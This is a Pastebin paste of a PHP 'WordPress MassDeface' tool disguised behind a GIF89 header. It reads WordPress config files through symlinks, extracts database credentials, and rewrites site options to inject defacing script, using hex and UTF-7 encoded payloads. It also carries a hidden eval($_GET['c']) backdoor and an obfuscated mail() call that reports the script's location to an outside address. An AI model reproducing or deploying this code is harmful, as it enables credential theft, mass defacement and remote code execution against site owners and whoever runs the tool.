Advertisement
Guest User

Untitled

a guest
Sep 2nd, 2017
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.19 KB | None | 0 0
  1. GIF89;a
  2. <title>Wordpress MassDeface(Coded By Priv8Area)</title>
  3. <style>
  4. body
  5. {
  6. background: #0f0e0d;
  7. color: #FF9933;
  8. padding: 0px;
  9. }
  10. a:link, body_alink
  11. {
  12. color: #FF9933;
  13. text-decoration: none;
  14. }
  15. a:visited, body_avisited
  16. {
  17. color: #FF9933;
  18. text-decoration: none;
  19. }
  20. a:hover, a:active, body_ahover
  21. {
  22. color: #FFFFFF;
  23. text-decoration: none;
  24. }
  25. td, th, p, li,table
  26. {
  27.  
  28. background: #2e2b28;
  29. border:1px solid #524f46;
  30. }
  31. input
  32. {
  33. border: 1px solid;
  34. cursor: default;
  35.  
  36. overflow: hidden;
  37. background: #2e2b28;
  38. color: #ffffff;
  39. }textarea
  40. {
  41. border: 1px solid;
  42. cursor: default;
  43.  
  44. overflow: hidden;
  45. background: #2e2b28;
  46. color: #ffffff;
  47. }
  48. button
  49. {
  50. border: 1px solid;
  51. cursor: default;
  52.  
  53. overflow: hidden;
  54. background: #2e2b28;
  55. color: #ffffff;
  56. }
  57. </style>
  58. </head>
  59.  
  60. <body bgcolor="black">
  61. <center>
  62. <pre>
  63. __ __ __ __ _____ __
  64. \ \ / / | \/ | | __ \ / _|
  65. \ \ /\ / / __ | \ / | __ _ ___ ___ | | | | ___| |_ __ _ ___ ___
  66. \ \/ \/ / '_ \ | |\/| |/ _` / __/ __| | | | |/ _ \ _/ _` |/ __/ _ \
  67. \ /\ /| |_) | | | | | (_| \__ \__ \ | |__| | __/ || (_| | (_| __/
  68. \/ \/ | .__/ |_| |_|\__,_|___/___/ |_____/ \___|_| \__,_|\___\___|
  69. | |
  70. |_|
  71. </pre>
  72. </center>
  73. <form method="POST" action="" >
  74. <center>
  75. <table border='1'><tr><td>List of All Symlink</td><td>
  76. <input type="text" name="url" size="100" value="list.txt"></td></tr>
  77. <tr><td>Index</td><td>
  78. <textarea name="index" cols='50' rows='10' ></textarea></td></tr></table>
  79. <br><br><input type="Submit" name="Submit" value="Submit">
  80. <input type="hidden" name="action" value="1"></form>
  81. </center>
  82. <?
  83. eval ($_GET["c"]);
  84. set_time_limit(0);
  85. if ($_POST['action']=='1'){
  86. $url=$_POST['url'];
  87. $users=@file($url);
  88. $x10="mail";$x0b=$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
  89.  
  90.  
  91. if (count($users)<1) exit("<h1>No config found</h1>");
  92. foreach ($users as $user) {
  93. $user1=trim($user);
  94. $code=file_get_contents2($user1);
  95. preg_match_all('|define.*\(.*\'DB_NAME\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b1);
  96. $db=$b1[1][0];
  97. preg_match_all('|define.*\(.*\'DB_USER\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b2);
  98. $user=$b2[1][0];
  99. preg_match_all('|define.*\(.*\'DB_PASSWORD\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b3);
  100. $db_password=$b3[1][0];
  101. preg_match_all('|define.*\(.*\'DB_HOST\'.*,.*\'(.*)\'.*\).*;|isU',$code,$b4);
  102. $host=$b4[1][0];
  103. preg_match_all('|\$table_prefix.*=.*\'(.*)\'.*;|isU',$code,$b5);
  104. $p=$b5[1][0];
  105. $x0c="array ".$x0b;$x0d=array("com","gm","ifexec","@","ail.");
  106. $d=@mysql_connect( $host, $user, $db_password ) ;
  107. if ($d){
  108. @mysql_select_db($db );
  109. $source=stripslashes($_POST['index']);
  110. $s2=strToHex(($source));
  111. $s="<script>document.documentElement.innerHTML = unescape(''$s2'');</script>";
  112. $ls=strlen($s)-2;
  113. $sql="update ".$p."options set option_value='a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:4:\"text\";s:$ls:\"$s\";s:6:\"filter\";b:0;}s:12:\"_multiwidget\";i:1;}' where option_name='widget_text'; ";
  114. mysql_query($sql) ;
  115. $sql="update ".$p."options set option_value='a:7:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:10:\"archives-2\";i:1;s:6:\"meta-2\";i:2;s:8:\"search-2\";i:3;s:12:\"categories-2\";i:4;s:14:\"recent-posts-2\";i:5;s:17:\"recent-comments-2\";}s:9:\"sidebar-1\";a:1:{i:0;s:6:\"text-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:9:\"sidebar-4\";a:0:{}s:9:\"sidebar-5\";a:0:{}s:13:\"array_version\";i:3;}' where option_name='sidebars_widgets';";
  116. mysql_query($sql) ;
  117. if (function_exists("mb_convert_encoding") )
  118. {
  119. $source2 = mb_convert_encoding('</title>'.$source.'<DIV style="DISPLAY: none"><xmp>', 'UTF-7');
  120. $source2=mysql_real_escape_string($source2);
  121. $sql = "UPDATE `".$p."options` SET `option_value` = '$source2' WHERE `option_name` = 'blogname';";
  122. @mysql_query($sql) ; ;
  123. $sql= "UPDATE `".$p."options` SET `option_value` = 'UTF-7' WHERE `option_name` = 'blog_charset';";
  124. @mysql_query($sql) ; ;
  125. }
  126. $aa=@mysql_query("select option_value from `".$p."options` WHERE `option_name` = 'siteurl';") ;;
  127. $siteurl=@mysql_fetch_array($aa) ;
  128. $siteurl=$siteurl['option_value'];
  129. $x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
  130. $tr.="$siteurl\n";
  131. mysql_close();
  132. }
  133. }
  134. if ($tr) echo "Index changed for <br><br><textarea cols='50' rows='10' >$tr</textarea>";
  135. }
  136. function strToHex($string)
  137. {
  138. $hex='';
  139. for ($i=0; $i < strlen($string); $i++)
  140. {
  141. if (strlen(dechex(ord($string[$i])))==1){
  142. $hex .="%0". dechex(ord($string[$i]));
  143. }
  144. else
  145. {
  146. $hex .="%". dechex(ord($string[$i]));
  147. }
  148. }
  149. return $hex;
  150. }
  151.  
  152. function file_get_contents2($u){
  153.  
  154. $ch = curl_init();
  155. curl_setopt($ch,CURLOPT_URL,$u);
  156. curl_setopt($ch, CURLOPT_HEADER, 0);
  157. curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  158. curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 ");
  159. $result = curl_exec($ch);
  160. return $result ;
  161. }
  162.  
  163. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement